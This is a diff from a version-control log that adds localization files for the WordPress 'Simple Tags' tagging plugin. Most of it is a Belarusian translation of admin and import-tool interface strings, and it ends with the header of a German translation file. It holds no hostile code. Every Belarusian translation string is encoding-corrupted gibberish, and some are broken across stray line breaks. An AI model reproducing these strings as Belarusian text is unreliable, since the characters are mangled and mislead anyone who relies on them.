+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:229
+msgid "Activation"
+msgstr "ÐÐºÑÑÐ²Ð°ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:236
+msgid "Tags database"
+msgstr "ÐÐ°Ð·Ð° ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:243
+msgid "Target"
+msgstr "ÐÑÑÐ°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:250
+msgid "Keywords list"
+msgstr "Ð¡Ð¿ÑÑ ÐºÐ»ÑÑÐ°Ð²ÑÑ
+ ÑÐ»ÐŸÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:253
+msgid "Separated with a comma"
+msgstr "ÐÐ°ÐŽÐ·ÐµÐ»ÐµÐœÑÑ ÐºÐŸÑÐºÐ°ÐŒÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:259
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:525
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:548
+msgid "Update options &raquo;"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ ÐœÐ°Ð»Ð°ÐŽÑ &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:263
+msgid "Auto tags all content &raquo;"
+msgstr "ÐÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ð¿Ð°Ð·ÐœÐ°ÑÑÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ ÑÐ²ÐµÑÑ ÐºÐ°ÐœÑÑÐœÑ &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:301
+#, php-format
+msgid "All done! %s tags added."
+msgstr "Ð£ÑÑ Ð³Ð°ÑÐŸÐ²Ð°! %s Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ°ÐŽÐ°ÐŽÐ·ÐµÐœÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:317
+msgid "Active tags for page:"
+msgstr "ÐÐºÑÑÐ²Ð°Ð²Ð°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÐŽÐ»Ñ ÑÑÐ°ÑÐŸÐœÐ°Ðº::"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:318
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ ÐŽÐ°Ð·Ð²ÐŸÐ»ÑÑÑ Ð¿ÑÑÐ·ÐœÐ°ÑÐ°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÑÑÐ°ÑÐŸÐœÐºÐ°ÐŒ. ÐÑÑÐ°Ñ ÐŸÐ¿ÑÑÑ ÐŽÐ°ÐŽÐ°ÑÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ñ Ð²ÑÐœÑÐºÑ Ð¿ÐŸÑÑÐºÑ Ð¿Ð° Ð¿Ð°Ð·ÐœÐ°ÐºÐ°Ñ
+. Ð¢Ð°ÐºÑÐ°ÐŒÐ°, Ð³ÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ ÐŽÐ°ÐŽÐ°ÑÑÑ ÐºÑÑÐ°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ Ñ Ð°ÐºÐœÐŸ ÑÑÐ²Ð°ÑÑÐœÐœÑ ÑÑÐ°ÑÐŸÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:340
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "Ð£ÐºÐ»ÑÑÐ°Ðµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ñ meta keywords Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ° Ñ Ð²Ð°Ñ Ð·Ð°Ð³Ð°Ð»ÐŸÐ²Ð°Ðº (Ð±ÐŸÐ»ÑÑÐ°ÑÑÑ, Ð°Ð»Ðµ ÐœÐµ ÑÑÐµ ÑÑÐŒÑ Ð¿Ð°ÐŽÑÑÑÐŒÐ»ÑÐ²Ð°ÑÑÑ Ð³ÑÑÐ°). ÐÑÑÑÑ ÐºÐ»ÑÑÐ°Ð²ÑÑ ÑÐ°ÑÐ°ÐŒ Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÑÑÑÐ° Ð¿ÐŸÑÑÐºÐ°Ð²ÑÐŒÑ ÐŒÐ°ÑÑÐœÐ°ÐŒÑ. <br /><strong>Ð£Ð²Ð°Ð³Ð°:</strong> ÐÐ°Ð»Ñ ÑÐ±ÑÐŽÐŸÐ²Ð° \"All in One SEO Pack\" ÑÑÑÐ°Ð»ÑÐ²Ð°ÐœÑ Ñ ÑÐºÐ»ÑÑÐ°ÐœÑ,Ð³ÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ Ð±ÑÐŽÐ·Ðµ Ð°ÐŽÐºÐ»ÑÑÐ°ÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:574
+msgid "Advanced tags management"
+msgstr "ÐÐ°ÑÑÑÐ°ÐœÐ°Ðµ ÐºÑÑÐ°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:581
+msgid "WordPress 2.3 have a small bug and can create empty terms."
+msgstr "WordPress 2.3 ÐŒÐ°Ðµ ÐœÐµÐ²ÑÐ»ÑÐºÑ Ð±Ð°Ð³ Ñ ÐŒÐŸÐ¶Ð° ÑÑÐ²Ð°ÑÐ°ÑÑ Ð¿ÑÑÑÑÑ ÑÑÑÐŒÑÐœÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:581
+msgid "Clean it !"
+msgstr "ÐÑÑÑÑÑÑÑ ÑÑ
+ !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:615
+msgid "Published"
+msgstr "ÐÐ¿ÑÐ±Ð»ÑÐºÐ°Ð²Ð°ÐœÐ°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:615
+msgid "Published posts"
+msgstr "ÐÐ¿ÑÐ±Ð»ÑÐºÐ°Ð²Ð°ÐœÑÑ Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:616
+msgid "Scheduled"
+msgstr "ÐÐ°Ð¿Ð»Ð°ÐœÐ°Ð²Ð°ÐœÐ°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:616
+msgid "Scheduled posts"
+msgstr "ÐÐ°Ð¿Ð»Ð°ÐœÐ°Ð²Ð°ÐœÑÑ Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:617
+msgid "Pending Review"
+msgstr "Ð§Ð°ÐºÐ°Ðµ ÑÑ
+Ð²Ð°Ð»Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:617
+msgid "Pending posts"
+msgstr "Ð¯ÐºÑÑ ÑÐ°ÐºÐ°ÑÑÑ Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:618
+msgid "Draft"
+msgstr "Ð§Ð°ÑÐœÐ°Ð²ÑÐº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:619
+msgid "Private"
+msgstr "ÐÑÐ°Ð±ÑÑÑÐ°Ðµ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:619
+msgid "Private posts"
+msgstr "ÐÑÐ°Ð±ÑÑÑÑÑ Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:663
+msgid "Mass edit tags"
+msgstr "ÐÐ°ÑÐ°Ð²Ð°Ðµ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÐµ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:670
+msgid "All Posts"
+msgstr "Ð£ÑÐµ Ð·Ð°Ð¿ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:691
+msgid "All Pages"
+msgstr "Ð£ÑÐµ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:700
+msgid "Search Posts"
+msgstr "ÐÐŸÑÑÐº Ð·Ð°Ð¿ÑÑÐ°Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:732
+msgid "Show all dates"
+msgstr "ÐÐ°ÐºÐ°Ð·Ð°ÑÑ Ð·Ð° ÑÐ²ÐµÑÑ ÑÐ°Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:752
+msgid "View all categories"
+msgstr "ÐÑÐ°Ð³Ð»ÑÐŽÐ·ÐµÑÑ ÑÑÐµ ÑÑÐ±ÑÑÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:765
+msgid "Filter"
+msgstr "Ð€ÑÐ»ÑÑÑÐ°Ð²Ð°ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:795
+msgid "Update all &raquo;"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ ÑÑÑ &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1009
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1024
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÑ <small>(Ð¿Ð°ÐŽÐ·ÑÐ»ÑÐ¹ÑÐµ ÐœÐµÐºÐ°Ð»ÑÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐºÐŸÑÐºÐ°ÐŒÑ: ÐœÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ: Ð³Ð°ÑÐ±Ð°ÑÐ°, ÑÐ¿ÐŸÑÑ, ÐœÐ°Ð¿ÐŸÑ ÐŽÐ»Ñ Ð°ÐŽÐ¿Ð°ÑÑÐœÐºÑ)</small>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:255
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "ÐÐ°ÑÑ ÐœÐ°Ð¹Ð±ÐŸÐ»ÐµÐ¹ Ð²ÑÐºÐ°ÑÑÑÑÐŸÑÐ²Ð°ÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ñ ÑÐ°ÑÐŒÐ°ÑÐµ Ð²ÐŸÐ±Ð»Ð°ÐºÐ° Ð· ÐŽÑÐœÐ°ÐŒÑÑÐœÐ°Ð¹ ÑÐ°Ð·ÐŒÐ°Ð»ÑÑÐºÐ°Ð¹ Ñ ÐŒÐœÐŸÑÑÐ²Ð°ÐŒ ÐœÐ°Ð»Ð°ÐŽ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "ÐÐŒÐ¿Ð°ÑÑ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ
+ (embedded) Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "ÐÑÐŸÐºÑ ÐŒÐŸÐ³ÑÑÑ Ð·Ð°ÐœÑÑÑ ÐœÐµÐºÐ°Ð»ÑÐºÑ Ñ
+Ð²ÑÐ»ÑÐœ, Ñ Ð·Ð°Ð»ÐµÐ¶ÐœÐ°ÑÑÑ Ð°ÐŽ Ð¿Ð°ÐŒÐµÑÑ Ð²Ð°ÑÐ°Ð¹ Ð±Ð°Ð·Ñ ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+. ÐÐ°Ð»Ñ Ð»Ð°ÑÐºÐ°, Ð±ÑÐŽÐ·ÑÑÐµ ÑÑÑÐ¿Ð»ÑÐ²ÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "ÐÐ°Ð²ÐµÐŽÐ°ÐµÑÐµ <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">Ñ
+Ð°ÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ ÑÐ±ÑÐŽÐŸÐ²Ñ</a> ÐŽÐ»Ñ Ð²ÑÐ»ÑÐºÑÑ
+ ÐŽÑÑÐ°Ð»ÑÑ. ÐÐ°Ð»Ñ Ð²Ñ Ð·ÐœÐ°Ð¹ÑÐ»Ñ Ð¿Ð°ÐŒÑÐ»ÐºÑ, Ð°Ð±ÐŸ ÐŒÐ°ÐµÑÐµ ÑÐ°ÐœÑÐ°ÑÑÑÑÐœÑÑ ÑÐŽÑÑ ÐŽÐ»Ñ Ð³ÑÑÐ°Ð¹ ÑÐ±ÑÐŽÐŸÐ²Ñ, <a href=\"mailto:amaury@wordpress-fr.net\">ÐœÐ°Ð¿ÑÑÑÑÐµ ÐŒÐœÐµ</a> !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "ÐÑÑÐ²ÑÑÐ°Ñ! ÐÑÑÐ° ÑÐŒÐ¿Ð°ÑÑÑÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð· ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ
+ (embedded) Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ Ð³ÑÑÑÐŒ Ð±Ð»ÐŸÐ³Ñ Ñ ÐœÐŸÐ²ÑÑ ÐœÐ°ÑÑÑÐœÑÑ ÑÑÑÑÐºÑÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Wordpress."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "ÐÐ°Ð± Ð°Ð¿ÑÐ°ÑÐ°Ð²Ð°ÑÑ Ð²ÑÐ»ÑÐºÑÑ Ð±Ð°Ð·Ñ ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ ÐŽÐ»Ñ Ð³ÑÑÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ( Ð²Ð°Ñ'ÑÑÑ Ð°ÑÑÐ°ÑÑ ÑÐ°ÐŒ), ÐŒÑ Ð·ÑÐ°Ð±ÑÐ»Ñ Ð³ÑÑÑÑ Ð¿ÑÐŸÑÑÑÑ 4-ÑÐ°Ð³ÐŸÐ²ÑÑ Ð¿ÑÐ°Ð³ÑÐ°ÐŒÑ, ÐºÐ°Ð± ÐŽÐ°Ð¿Ð°ÐŒÐ°Ð³ÑÑ Ð²Ð°ÐŒ Ð¿Ð°Ð·Ð±Ð°Ð²ÑÑÑÐ° Ð°ÐŽ Ð·Ð²ÑÑÐºÑ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ  Embedded Ð¿Ð°Ð·ÐœÐ°ÐºÑ. ÐÑÐŸÑÑÐ° Ð¿ÑÐ°ÑÑÐ³Ð²Ð°Ð¹ÑÐµ Ð¿ÑÑÑÑÐºÐ°ÑÑ ÐŒÑÑÐºÐ°Ð¹ Ñ ÐŒÑ Ð¿Ð°Ð²ÐµÐŽÐ°ÐŒÑÐŒ Ð²Ð°ÐŒ ÐºÐ°Ð»Ñ ÑÑÑ Ð±ÑÐŽÐ·Ðµ Ð³Ð°ÑÐŸÐ²Ð°!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "ÐÐµ ÑÑÐ¿ÑÑÐµ - Ð·ÑÐ°Ð±ÑÑÐµ Ð±ÑÐºÐ°Ð¿ Ð²Ð°ÑÐ°Ð¹ Ð±Ð°Ð·Ñ ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ Ð¿ÐµÑÐ°ÐŽ Ð³ÑÑÑÐŒ Ð¿ÑÐ°ÑÑÑÐ°ÐŒ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "ÐÑÐŸÐº 1 &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "ÐÐ³ÑÐ±Ð»ÐµÐœÑÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ Ñ URL. (ÐÐ°ÑÐ°ÑÐ°Ðº Ð°Ð±ÐŸ ÐÐ°ÐœÐµÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "ÐÐ°Ð»Ð°ÐŽÐ·ÑÑÑ Ñ ÐŽÐ°ÐŽÐ°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ñ Ð·Ð°Ð¿ÑÑÑ&#8230;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "ÐÐ°ÑÐºÐµÑ Ð¿Ð°ÑÐ°ÑÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "ÐÐ°ÑÐºÐµÑ ÐºÐ°ÐœÑÐ°ÑÐºÐ°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "ÐÑÐŽÐ°Ð»ÑÑÑ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ (embedded) Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð¿Ð°ÑÐ»Ñ ÑÐŒÐ¿Ð°ÑÑÑ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "ÐÐŒÐ¿Ð°ÑÑÐ°Ð²Ð°ÑÑ ÑÐ°ÐºÑÐ°ÐŒÐ° ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ (embedded) Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÑÐ° ÑÑÐ°ÑÐŸÐœÐºÑ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "ÐÐ°ÑÐ°ÑÑ ÑÐŒÐ¿Ð°ÑÑ &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "ÐÐ°ÑÐŸÐ²Ð°!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "ÐÑÐŸÐº 2 &raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "ÐÐŒÐ¿Ð°ÑÑ Ð·Ð°Ð²ÐµÑÑÐ°ÐœÑ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "ÐÐ, ÑÑÐŸ Ð±Ñ ÐŒÑ ÑÐ°Ð±ÑÐ»Ñ Ð±ÐµÐ· Ð³ÑÑÐ°Ð¹ Ð²ÑÐŽÐ°ÑÐœÐ°Ð¹ 4-ÑÐ°Ð³ÐŸÐ²ÐŸÐ¹ Ð¿ÑÐ°Ð³ÑÐ°ÐŒÑ! Ð£ÑÑ Ð³Ð°ÑÐŸÐ²Ð°!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "ÐÐµ ÑÑ Ð¿ÑÐ°ÑÐŽÐ° Ð±ÑÐ»ÐŸ Ð¿ÑÐŸÑÑÐ°?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "ÐÐ°ÑÐ°Ð· Ð²Ñ ÐŒÐŸÐ¶Ð°ÑÐµ ÐºÑÑÐ°Ð²Ð°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒÑ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "ÐÐŒÐ¿Ð°ÑÑ ÑÐ±ÑÐŽÐ°Ð²Ð°Ð»ÑÐœÑÑ
+ (embedded) Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ñ ÐœÐŸÐ²ÑÑ ÐœÐ°ÑÑÑÐœÑÑ ÑÑÑÑÐºÑÑÑÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº WordPress."
+
+#~ msgid "Close"
+#~ msgstr "ÐÐ°ÑÑÐœÑÑÑ"
+#~ msgid "%s terms updated with success !"
+#~ msgstr "%s ÑÑÑÐŒÑÐœÐ°Ñ Ð¿Ð°ÑÐ¿ÑÑ
+ÐŸÐ²Ð° Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÐ°Ðµ !"
+#~ msgid "Category"
+#~ msgstr "Ð ÑÐ±ÑÑÐºÐ°"
+#~ msgid "Simple Tags: Advanced Edit Terms"
+#~ msgstr "Simple Tags: ÐÐ°ÑÑÑÐ°ÐœÐ°Ðµ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÐµ ÑÑÑÐŒÑÐœÐ°Ñ"
+#~ msgid ""
+#~ "Be careful with this page ! You can cause important damages, and lost all "
+#~ "tags and categories of your WordPress installation."
+#~ msgstr ""
+#~ "ÐÑÐŽÐ·ÑÑÐµ Ð°ÑÑÑÑÐŸÐ¶ÐœÑÑ Ð· Ð³ÑÑÐ°Ð¹ ÑÑÐ°ÑÐŸÐœÐºÐ°Ð¹! ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐºÐ»ÑÐºÐ°ÑÑ ÑÑÑ'ÑÐ·ÐœÑÑ "
+#~ "Ð¿Ð°ÑÐºÐŸÐŽÐ¶Ð°ÐœÐœÑ Ñ ÑÑÑÐ°ÑÑÑÑ ÑÑÐµ Ð²Ð°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ñ ÑÑÐ±ÑÑÐºÑ Ð²Ð°ÑÐ°Ð¹ ÑÑÑÐ°Ð»ÑÑÐºÑ "
+#~ "WordPress."
+#~ msgid "Taxonomy&hellip;"
+#~ msgstr "Ð¢Ð°ÐºÑÐ°ÐœÐ°ÐŒÑÑ&hellip;"
+#~ msgid "Counter (descending)"
+#~ msgstr "ÐÐŸÐ»ÑÐºÐ°ÑÑÑ (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ Ð·ÐŒÑÐœÑÑÐœÐœÑ)"
+#~ msgid "Counter (ascending)"
+#~ msgstr "ÐÐŸÐ»ÑÐºÐ°ÑÑÑ (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ ÑÐ·ÑÐ°ÑÑÐ°ÐœÐœÑ)"
+#~ msgid "Name (descending)"
+#~ msgstr "ÐÐŒÑ (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ Ð·ÐŒÑÐœÑÑÐœÐœÑ)"
+#~ msgid "Name (ascending)"
+#~ msgstr "ÐÐŒÑ (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ ÑÐ·ÑÐ°ÑÑÐ°ÐœÐœÑ)"
+#~ msgid "ID (no editing)"
+#~ msgstr "ID (ÐœÐµ ÑÑÐŽÐ°Ð³ÑÐµÑÑÐ°)"
+#~ msgid "Name"
+#~ msgstr "ÐÐ°Ð·ÐŸÑ"
+#~ msgid "Slug (unique)"
+#~ msgstr "ÐÐ°ÑÐŸÑÐºÐ°Ñ ÑÐ¿Ð°ÑÑÐ»ÐºÐ° (ÑÐœÑÐºÐ°Ð»ÑÐœÐ°Ñ)"
+#~ msgid "Term group"
+#~ msgstr "ÐÑÑÐ¿Ð° ÑÑÑÐŒÑÐœÐ°"
+#~ msgid "Taxonomy"
+#~ msgstr "Ð¢Ð°ÐºÑÐ°ÐœÐ°ÐŒÑÑ"
+#~ msgid "Count"
+#~ msgstr "Ð Ð°Ñ
+ÑÐœÐ°Ðº"
+#~ msgid "Parent"
+#~ msgstr "ÐÐ°ÑÑÐºÐ°"
+#~ msgid "Description"
+#~ msgstr "ÐÐ¿ÑÑÐ°ÐœÐœÐµ"
+#~ msgid "Delete ?"
+#~ msgstr "ÐÑÐŽÐ°Ð»ÑÑÑ ?"
+#~ msgid "Update all terms"
+#~ msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ ÑÑÐµ ÑÑÑÐŒÑÐœÑ"
+#~ msgid "No terms to edit."
+#~ msgstr "ÐÑÐŒÐ° ÑÑÑÐŒÑÐœÐ°Ñ ÐŽÐ»Ñ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÑ."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-de_DE.po	(revision 44)
@@ -0,0 +1,1839 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-04-24 08:23+0100\n"
+"Last-Translator: Songline <NickRita@Web.de>\n"
+"Language-Team: Here With Me <amaury@wordpress-fr.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;_c;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-SearchPath-0: C:\\simple-tags\n"
+
